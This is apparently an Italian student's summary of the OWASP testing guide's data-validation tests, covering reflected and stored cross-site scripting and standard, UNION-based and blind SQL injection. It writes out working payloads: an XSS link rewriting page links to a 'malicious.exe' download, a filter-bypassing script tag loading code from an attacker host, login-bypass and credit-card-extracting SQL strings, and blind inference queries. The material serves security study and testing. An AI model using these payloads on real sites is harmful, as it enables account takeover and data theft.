Ciao ragazzi.... ecco l'ultima traduzione/sintesi... Ciaoo
Data Validation Testing La più comune debolezza di una applicazione web è la mancanza di una corretta validazione dei dati in ingresso provenienti dal client. Questo problema è alla base di quasi tutte le maggiori vulnerabilità presenti nelle applicazioni web: cross-site scripting (XSS), SQL injection, interpreter injection, locale/Unicode attacks, file system attacks e buffer overflows. OWASP prevede sedici prove (OWASP-DV-001/16) (NOTA: NON LE ABBIAMO STUDIATE TUTTE) per analizzare le possibili minacce relative alla validazione dei dati. OWASP-DV-(001-005) (Cross Site Scripting (XSS) (Reflected, Stored, DOMbased, Flashing)) : Questa suite di test ha come obiettivo quello di verificare possibili vulnerabilità di tipo Cross Site Scripting (XSS) in un web server o un'applicazione. Quando una applicazione web è vulnerabile a questo tipo di attacco, è possibile passare dal client dati in ingresso non convalidati. Le applicazioni web fanno uso di linguaggi di scripting (p.e.: Javascript, ActionScript, VBScript) per permettere contenuti dinamici ed effetti interattivi nella pagine web. Il codice di scripting è integrato nel codice HTML mediante tag del tipo: <script>.....</script>. “<”, “/”, “>” sono esempi di codici speciali HTML. Caratteri non-ASCII (p.e. superiore a 128 nella codifica ISO 8859-1) non sono permessi negli URL, e quindi rappresentano tutti caratteri speciali. La determinazione dei caratteri speciali non è un compito facile: * Alcuni caratteri sono speciali ed altri no a seconda del contesto della pagina; * Molte pagine web lasciano la codifica dei caratteri indefinita (mediante il parametro "charset" di HTML), visto che la maggior parte dei browser hanno una codifica di caratteri di default. La versione 4 dell'HTML dichiara che: se la codifica dei caratteri non è specificata può essere utilizzata una qualsiasi codifica (nelle versioni precedenti alla 4 la codifica di default era ISO 8859-1) * Un gran numero di server che generano pagine dinamiche non effettuano il controllo dei caratteri speciali o non lo fanno correttamente (p.e. controllano solo alcuni caratteri speciali) Utilizzando specifiche codifiche un attaccante può eventualmente aggirare i filtri sui campi di input, inducendo il server ad inviare codice offensivo o link pericolosi all'utente della pagina. Il codice che sfrutta le vulnerabilità è scritto in linguaggio di scripting (Javascript, ActionScript, VBScript), mentre il codice offensivo e malevolo può essere compilato (per una specifica piattaforma) e conservato in un deposito di file dell'attaccante. *OWASP-DV-001 Lo scopo di questo test è quello di verificare vulnerabilità di tipo Reflected Cross Site Scripting (XSS) in un web server o una applicazione. Gli attacchi XSS sono anche conosciuti come di tipo 1 o non persistenti, e sono gli attacchi Cross Site Scripting più frequenti. Il modus operandi comune degli attaccanti prevede i seguenti passi: + Un step di design, dove l'attaccante crea e prova un URI offensivo; + Uno step di ingegnieria sociale (studio del comportamento individuale di una persona al fine di carpire informazioni) finalizzato a convincere le potenziali vittime a caricare l'URI sul proprio browser; + L'eventuale esecuzione di codice offensivo utilizzando le credenziali delle vittime; + Il codice di attacco è scritto in linguaggio di scripting e può installare keyloggers, rubare i cookie delle vittime, effettuare un furto dei dati contenuti negli appunti (clipboard) e cambiare il contenuto di una pagina (p.e. inserendo link a file da scaricare). Step per la verifica di Reflected XSS: 1. Determinare i vettori di input; + Es. " Welcome %username% " 2. Analizzare ogni vettore di input in modo da capire come intergiscono con l'applicazione web. In questo step il tester "gioca" con le variabili provando a scatenare la vulnerabilità; + Es. http://example.com/index.php?user=<script>alert(123)</script> Se non è applicato un filtro sui dati di input, viene mostrato all'utente un popup e questo indica l'esistenza di una vulnerabilità di tipo XSS. 3. Sfruttare l'eventuale vulnerabilità determinata nel punto 2. + Es. Una volta scoperta la vulnerabilità, il tester prova a modificare le funzionalità della web application (es. alterando link a file) (NOTA: L'HO SCRITTO COSI' PERCHE' PIU' LEGGIBILE) http://example.com/index.php?user= <script> window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe";; } </script> Contromisure da adottare in caso di Reflected XSS: gli attacchi di tipo Reflected XSS possono essere prevenuti lato-server (es. filtro di sanitization, web firewall) e lato-client (meccanismi di prevenzione nei browser moderni). In generale una protezione lato-client può non essere sufficiente in quanto molti utenti non aggiornano i loro browser mentre lato-server i filtri di sanitization ed altri meccanismi di prevenzione possono essere in alcuni casi aggirati. Es. di filtro di sanitization. Supponiamo che esiste un filtro di questo tipo: <? $re = "/<script[^>]+src/i"; if (preg_match($re, $_GET['var'])) { echo "Filtered"; return; } echo "Welcome ".$_GET['var']." !"; ?> Il precedente codice controlla che non sia presente il carattere ">" nel vettore di input e rende di fatto inefficace un attacco del tipo: <script src="http://attacker.com/xss.js";></script> ma tale filtro è aggirato utilizzando utilizzando una differente codifica del carattere ">": http://www.example.com/?var=<SCRIPT %20a=">"%20SRC="http://www.attacker.com/xss.js";></SCRIPT> NOTA: Nell'esempio l'attaccante fa eseguire codice javascript (xss.js) memorizzato nel sito web dell'attaccante (www.attacker.com). *OWASP-DV-002 Questo test serve a controllare vulnerabilità di tipo Stored Cross Site Scripting, che sono gli attacchi XSS più pericolosi attualmente conosciuti. Gli Stored XSS noon necessiatano di link maliziosi per essere sfruttati. I dati/codice malizioso appariranno alla vittima come parte integrante della pagina web e sono lanciati con i privilegi dell'utente che in quel momento utilizza il browser. Il tipico scenario di attacco di tipo stored XSS attack è il seguente: - L'attaccante memorizza/conserva il codice malizioso all'interno di una pagina vulnerabile; - L'utente si autentica (userID e password) all'interno dell'applicazione web; - L'utente visita la pagina vulnerabile ed il codice malizioso viene eseguito dal browser dell'utente. Gli Stored XSS sono particolarmente pericolosi in alcune aree dove gli utenti hanno alti privilegi di accesso. Quando l'amministratore del sito visita la pagina vulnerabile l'attacco è automaticamente eseguito sul suo browser. Questo rappresenta una possibile esposizione di informazioni sensibili. Step per la verifica di Stored XSS: 1. Controllo dei form di input. Identificare tutti i punti dove l'utente può inserire dati in input (es. pagine di profilo utente, pagine carrello, File Manager, pagine di configurazione dell'applicazione). 2. Analisi del codice HTML. Capire se i dati di input sono memorizzati e come sono posizionati nel contesto della pagina. 3. Test per minacce di Stored XSS. Viene effettuato un test sui filtri di validazione dell'applicazione iniettando appropriati dati in ingresso. Esempio a pg. 21->23. OWASP-DV-005 Un'attacco di tipo SQL injection consiste nell'inserimento di una interrogazione SQL all'interno di campi di input dell'applicazione web. Un exploit di tipo SQL injection può causare: - La lettura di dati sensibili da un database; - La modifica di dati all'interno di un database (Insert/Update/Delete); - L'esecuzione di operazioni di amministrazione su un database (es. spegnimento/shutdown del DBMS); - La possibilità di (recover) recuperare/ripristinare il contenuto di un determinato file nel file system DBMS; - La possibilità di impartire comandi al sistema operativo; Gli attacchi di tipo SQL Injection possono essere divisi in tre tipologie: - Inband: I dati vengono estratti tramite lo stesso canale utilizzato per iniettare il codice SQL. Questo è il più semplice tipo di attacco, dove i dati sono recuperati direttamente dalla pagina web. - Out-of-band: I dati vengono estratti tramite un canale differente (es. viene generata una email con i risultati della query); - Inferential: Non vi è alcun reale trasferimento di dati, ma il test è in grado di ricostruire le informazioni con l'invio di particolari richieste e osservando il conseguente comportamento del DB Server. Un attacco SQL Injection consiste nel determinare il corretto modo con cui viene effettuata una query SQL. Esistono due possibili scenari: - Semplice : Se l'applicazione restituisce un messaggio di errore generato da una query errata, allora è facile ricostruire la logica della query originale e, quindi, capire come eseguire correttamente l'iniezione. - Difficile : Se l'applicazione nasconde i dettagli d'errore il tester deve essere in grado di dedurre la logica della query (Blind SQL Injection). Step per la verifica di SQL Injection Detection 1. Il primo passo è quello di capire se l'applicazione effettua una connessione ad un server DB per ottenere alcuni dati (es. form di autenticazione, motori di ricerca, siti di e-commerce) 2. Il secondo passo prevede la determinazione di tutti i campi di input (che utilizzano sia il metodo POST che GET) utilizzati come campi dell'interrogazione SQL; 3. Durante terzo passo il tester prova a generare un errore su una query SQL utilizzando i vettori di input determinati nel passo precedente. (Es inserendo un apice ('), aggiungendo un punto e virgola (;), inserendo una stringa in un campo dove è previsto un numero). *SQL Injection Standard Le SQL Injection sono spesso generate durante una query con una SELECT: SELECT select_expr [, select_expr …] FROM table_references [WHERE where_condition] Ad esempio: SELECT * FROM Users WHERE Username='$username' AND Password='$password' è solitamente utilizzata per autenticare un utente. Se la query ritorna un valore, questo significa che l'account esiste ed è quindi previsto il login al sistema. Altrimenti l'accesso è negato. Esempio 1 SELECT * FROM Users WHERE Username='$username' AND Password='$password' Supponendo di inserire i seguenti valori: $username = 1' or '1' = '1 $password = 1' or '1' = '1 La query sarà: SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' Il metodo GET sarà: http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 Esempio 2 (NOTA: "/*" rappresenta un commento) SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) Supponendo di inserire i seguenti valori: $username = 1' or '1' = '1'))/* $password = foo La query sarà: SELECT * FROM Users WHERE ((Username='1' or '1' = '1')) /*') AND (Password=MD5('$password'))) Il metodo GET sarà: http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo Esempio 3 (NOTA : il comando SQL "LIMIT" serve a limitare il numero di risultati ottenuti dalla query) SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) Supponendo di inserire i seguenti valori: $username = 1' or '1' = '1')) LIMIT 1/* $password = foo La query sarà: SELECT * FROM Users WHERE ((Username='1' or '1' = '1')) LIMIT 1/*') AND (Password=MD5('$password'))) Il metodo GET sarà: http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo +SQL Injection con query UNION L'operatore UNION è utilizzato per combinare risultati da differenti query SELECT all'interno di un unico insieme: SELECT <campi> FROM <tabelle> [WHERE <condizione1>] UNION [DISTINCT/ALL] SELECT <campi> FROM <tabelle> [WHERE <condizione2>] Esempio1 - SQL Injection con query UNION SELECT Name, Phone, Address FROM Users WHERE Id=$id Supponiamo di inserire nel campo "Id" la seguente stringa: $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable La query sarà: SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable che sarà l'unione dei risultati della query orignale con quella degli utenti che hanno una carta di credito. Il comando "ALL" è necessario per aggirare le query che utilizzano la parola chiave "DISTINCT". Abbiamo selezionato gli altri due valori (,1,1), perché l'utilizzo di "UNION" prevede che le due SELECT devono avere lo stesso numero di campi. *Blind SQL Injection Quando si effettua una Blind SQL Injection non si ha conoscenza in merito al risultato di un'operazione: - Es. Questo problema si verifica nei casi in cui il programmatore ha creato una pagina di errore personalizzata che non rivela nulla sulla struttura della query o sul DB (la pagina non restituisce un errore di SQL, ma un generico HTTP 500). Utilizzando i metodi di inferenza (inference methods) è possibile evitare questo ostacolo, riuscendo a recuperare i valori di alcuni dei campi desiderati: - Questo metodo consiste nell'effettuare una serie di interrogazioni al server osservando le risposte ed infine dedurre il significato dei risultati. Esempio di Blind SQL Injection Supponiamo che l'esecuzione della seguente richiesta: http://www.example.com/index.php?id=1' restituisca una pagina di errore. Supponiamo che la query eseguita da server sia : SELECT field1, field2, field3 FROM Users WHERE Id='$Id' che è sfruttabile con i metodi visti in precedenza. Le prove che saranno eseguite ci consentiranno di ottenere il valore del campo del nome utente, estraendo tale valore operando carattere per carattere. Ciò è possibile attraverso l'utilizzo di alcune funzioni standard, presenti praticamente in ogni DB. Nell'esempio sono utilizzate le seguenti pseudofunzioni: - SUBSTRING (text, start, length): Ritorna la sottostringa a partire dalla posizione "start" di "text" e di lunghezza "length". Se "start" è maggiore della lunghezza di "text", la funzione ritorna un valore "null". - ASCII (char): Restituisce il corrispondente valore ASCII del carattere dato in input ("char"). Viene ritornato un valore nullo se il carattere è 0. - LENGTH (text): Restituisce il numero di caratteri presenti in "text". Utilizzando queste funzioni, eseguiremo i test partendo dal primo carattere. Una volta scoperto tale carattere, passeremo al successivo e così via fino a scoprire l'intero valore. Per le prove saranno utilizzate: - La funzione SUBSTRING per selezionare un solo carattere alla volta; - La funzione ASCII per ottenere il valore ASCII (in modo da poter fare un confronto numerico). I risultati del confronto saranno fatti con tutti i valori della tabella ASCII fino a quando non viene identificato il carattere. Nell'esempio utilizzeremo i seguenti valori per il campo "Id": $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 Per creare la seguente "inferential query": SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1' La precedente interrogazione ritornerà un risultato solo nel caso in cui il primo carattere del campo username è uguale al valore 97 del codice ASCII. In caso contrario, viene incrementato di uno l'indice del valore ASCII e viene ripetuta la query. Una volta ottenuto il carattere, si passa all'analisi di quello successivo modificando i parametri della funzione SUBSTRING. Il problema è capire in quale caso l'interrogazione restituisce un valore "true" oppure un valore "false". Per questo motivo si crea una query che restituisce sempre "false". Questo è possibile utilizzando il seguente valore per ID: $Id=1' AND '1' = '2 che corrisponde alla query : SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' La risposta ottenuta dal server (pagina HTML d'errore) rappresenterà il valore "false" per i nostri test. Finora non abbiamo affrontato il problema della determinazione della condizione di terminazione per le prove, vale a dire, quando si deve porre fine alla procedura di inferenza. Una tecnica per farlo utilizza una caratteristica delle funzioni "SUBSTRING" e "LENGTH". Quando il test confronta il carattere corrente con il codice ASCII 0 (vale a dire il valore null) e questo restituisce valore "true", i casi possibili sono due: 1. Abbiamo ottenuto il valore di "id" (e quindi abbiamo scandito l'intera sequenza). In questo caso dobbiamo terminare la procedura di inferenza; 2. Il valore di "id" che abbiamo analizzato contiene un carattere null. In questo caso dobbiamo continuare la procedura di inferenza. Per capire in quale dei due casi ci troviamo si inserisce il seguente valore nel campo "Id": $Id=1' AND LENGTH(username)=N AND '1' = '1 dove "N" è il numero di caratteri finora analizzati. La query effettuata sarà: SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' Se otteniamo valore "true", allora abbiamo terminato la procedura di inferenza e quindi abbiamo ottenuto il valore del parametro "Id". Se otteniamo valore "false", significa che è presente un carattere null nel valore del parametro e quindi dobbiamo continuare ad analizzare il carattere successivo fino a quando non si trova un altro valore null.